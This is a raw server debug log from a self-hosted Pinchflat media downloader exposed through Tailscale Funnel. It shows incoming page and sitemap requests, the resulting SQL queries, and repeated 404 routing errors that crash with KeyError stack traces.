"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200dfbdab7a7bd5-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "larffc96f4cau84x.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3585.0>, params: %{}, path_info: ["_rNd9xZ7kL3"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200dfbdab7a7bd5-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "larffc96f4cau84x.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "172.71.30.221"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/_rNd9xZ7kL3", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUl_sseNPSJT1AAAUNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_rNd9xZ7kL3", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 60324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200dfbdab7a7bd5-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "larffc96f4cau84x.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_rNd9xZ7kL3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_rNd9xZ7kL3", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 60324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200dfbdab7a7bd5-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "larffc96f4cau84x.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, (truncated) 02:30:07.097 [info] GET / 02:30:07.097 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 02:30:07.097 [debug] QUERY OK source="settings" db=0.1ms idle=1372.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:07.098 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1133.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 02:30:07.098 [debug] QUERY OK source="sources" db=0.0ms idle=373.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 02:30:07.098 [debug] QUERY OK source="media_items" db=0.1ms idle=373.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:30:07.098 [debug] QUERY OK source="media_items" db=0.0ms idle=133.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:30:07.098 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:07.098 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:07.099 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:07.099 [debug] QUERY OK source="tasks" db=0.1ms idle=1.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 02:30:07.100 [debug] QUERY OK source="sources" db=0.1ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:30:07.100 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:30:07.101 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:30:07.101 [debug] QUERY OK source="sources" db=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 02:30:07.102 [debug] QUERY OK source="media_items" db=0.1ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 02:30:07.103 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:30:07.103 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 02:30:07.104 [info] Sent 200 in 7ms 02:30:12.790 [info] GET /sitemap.xml 02:30:12.790 [debug] QUERY OK source="settings" db=0.1ms idle=817.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:12.790 [debug] QUERY OK source="settings" db=0.0ms idle=65.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:12.790 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:12.791 [error] #PID<0.3588.0> running PinchflatWeb.Endpoint (connection #PID<0.3584.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 60324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200dff76f43a0f6-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "li-ondanie-l-33.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3588.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200dff76f43a0f6-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "li-ondanie-l-33.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "104.22.56.193"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmAO_3lOBacYAAAUWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 60324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200dff76f43a0f6-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "li-ondanie-l-33.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 60324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200dff76f43a0f6-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "li-ondanie-l-33.workers.dev", " (truncated) 02:30:15.195 [info] GET /sitemap_index.xml 02:30:15.196 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=470.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:15.197 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=471.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:15.197 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:15.198 [error] #PID<0.3589.0> running PinchflatWeb.Endpoint (connection #PID<0.3584.0>, stream id 5) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sitemap_index.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap_index.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 60324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e006ce1a71f5-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "gxad8aa7ab48284s.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "108.162.238.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3589.0>, params: %{}, path_info: ["sitemap_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e006ce1a71f5-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "gxad8aa7ab48284s.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "108.162.238.108"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap_index.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmAX9WWDOBA-gAAUXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: 